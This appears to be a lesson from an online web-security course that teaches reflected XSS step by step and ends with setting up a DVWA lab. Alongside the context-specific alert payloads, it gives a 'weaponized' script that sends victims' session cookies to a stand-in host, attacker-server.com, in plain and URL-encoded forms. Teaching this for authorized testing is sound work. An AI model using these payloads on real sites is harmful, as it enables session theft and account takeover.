Building on our understanding of the XSS landscape from the previous lesson, we now focus on the most commonly encountered variant: Reflected XSS. This type occurs when user-supplied input is immediately reflected in the server's response without being stored. The attacker must deliver the payload to the victim, typically via a crafted URL or form submission.
Reflected XSS is the perfect starting point for hands-on exploitation because it is easy to identify, straightforward to exploit, and teaches the fundamental skill of context-aware payload crafting that applies to all XSS types.
The attack flow follows a simple pattern: the attacker identifies an input parameter that is reflected in the response, crafts a malicious payload, encodes it into a URL, and tricks the victim into clicking that link. When the victim's browser loads the page, the server reflects the payload in the HTML response, and the browser executes it.
<!-- Step 1: Attacker identifies a reflection point -->
<!-- URL: https://example.com/search?q=test -->
<!-- Response: <p>You searched for: test</p> -->
<!-- Step 2: Attacker tests for XSS -->
<!-- URL: https://example.com/search?q=<script>alert(1)</script> -->
<!-- Response: <p>You searched for: <script>alert(1)</script></p> -->
<!-- Step 3: If the script executes, the vulnerability is confirmed -->
<!-- Step 4: Attacker crafts a weaponized payload and delivers it -->Before you can exploit Reflected XSS, you must identify where user input is reflected in the response. Common reflection points include search fields, error messages, URL parameters, HTTP headers (like Referer or User-Agent), and form fields that redisplay submitted values.
# Use curl to quickly test for reflection points
curl -s 'https://target.com/search?q=UNIQUE_STRING_12345' | grep 'UNIQUE_STRING_12345'
# If the string appears in the output, you have a reflection point
# Now test if it's reflected inside HTML context or an attribute
curl -s 'https://target.com/search?q=<script>alert(1)</script>'
# Check the response to see if the script tags are intact or encoded💡 Always use a unique test string (like 'VULN_TEST_7x9k2') when hunting for reflection points. This prevents false positives from cached content or coincidental matches in the page.
The most critical skill in XSS exploitation is understanding the injection context — where exactly your payload lands in the HTML document. Different contexts require different payload structures. A payload that works in an HTML body context will fail inside an HTML attribute.
| Context | Example | Required Payload Structure |
|---|---|---|
| HTML Body | <p>USER_INPUT</p> | <script>alert(1)</script> or <img src=x onerror=alert(1)> |
| HTML Attribute | <input value='USER_INPUT'> | '> to close attribute, then <script>alert(1)</script> |
| JavaScript Variable | var x = 'USER_INPUT'; | ';alert(1);// to break out and comment remainder |
| URL Attribute | <a href='USER_INPUT'> | javascript:alert(1) or data:text/html,<script>alert(1)</script> |
| Style Tag | <style>USER_INPUT</style> | </style><script>alert(1)</script> or expression(alert(1)) |
Let's walk through a complete exploitation scenario. We have identified that the 'name' parameter on a profile page is reflected directly into the HTML body without sanitization.
<!-- Vulnerable page: /profile.php?name=John -->
<html>
<body>
<h1>Profile: John</h1>
<p>Welcome back!</p>
</body>
</html>
<!-- Our test payload: -->
/profile.php?name=<script>alert('XSS')</script>
<!-- Server response: -->
<html>
<body>
<h1>Profile: <script>alert('XSS')</script></h1>
<p>Welcome back!</p>
</body>
</html>
<!-- The script executes! Vulnerability confirmed. -->Now let's weaponize this. Instead of a simple alert, we will steal the victim's session cookie and send it to our controlled server.
// Weaponized payload for cookie theft
<script>
new Image().src = 'https://attacker-server.com/log?cookie=' + encodeURIComponent(document.cookie);
</script>
// URL-encoded version for the URL parameter:
%3Cscript%3Enew%20Image().src%3D%27https%3A%2F%2Fattacker-server.com%2Flog%3Fcookie%3D%27%2BencodeURIComponent(document.cookie)%3B%3C%2Fscript%3E
// Alternative using fetch (more modern):
<script>
fetch('https://attacker-server.com/log', {
method: 'POST',
body: JSON.stringify({cookie: document.cookie, url: location.href})
});
</script>When the reflection occurs inside an HTML attribute, you must first break out of the attribute before injecting executable code. This requires a different payload structure.
<!-- Vulnerable page: /greeting.php?msg=Hello -->
<input type="text" value="Hello">
<!-- Our payload must close the attribute and tag first: -->
/greeting.php?msg="><script>alert(1)</script>
<!-- Server response: -->
<input type="text" value=""><script>alert(1)</script>">
<!-- The "> closes the value attribute and the opening <input> tag -->
<!-- Then our <script> tag executes freely -->
<!-- If angle brackets are filtered, use an event handler: -->
/greeting.php?msg=" onfocus="alert(1)" autofocus="
<!-- Server response: -->
<input type="text" value="" onfocus="alert(1)" autofocus="">
<!-- The input auto-focuses, triggering the onfocus event -->⚠️ Always test in an authorized lab environment. The OWASP WebGoat, DVWA (Damn Vulnerable Web Application), and PortSwigger Web Security Academy provide excellent legal environments for practicing these techniques. Never test against production systems without explicit written authorization.
For the hands-on exercises in this course, we will use DVWA (Damn Vulnerable Web Application) running in a Docker container. This provides a safe, isolated environment for practicing XSS exploitation.
💡 Set DVWA security to 'Low' for initial practice. As you progress through the course, increase the security level to 'Medium' and 'High' to practice bypassing increasingly robust input filters.
You now understand how to identify and exploit Reflected XSS in multiple contexts. In the next lesson, we will explore Stored XSS — a more dangerous variant where the payload persists on the server and affects every user who views the compromised page.
Verify exercises to earn ★ 130 XP and unlock next lab level.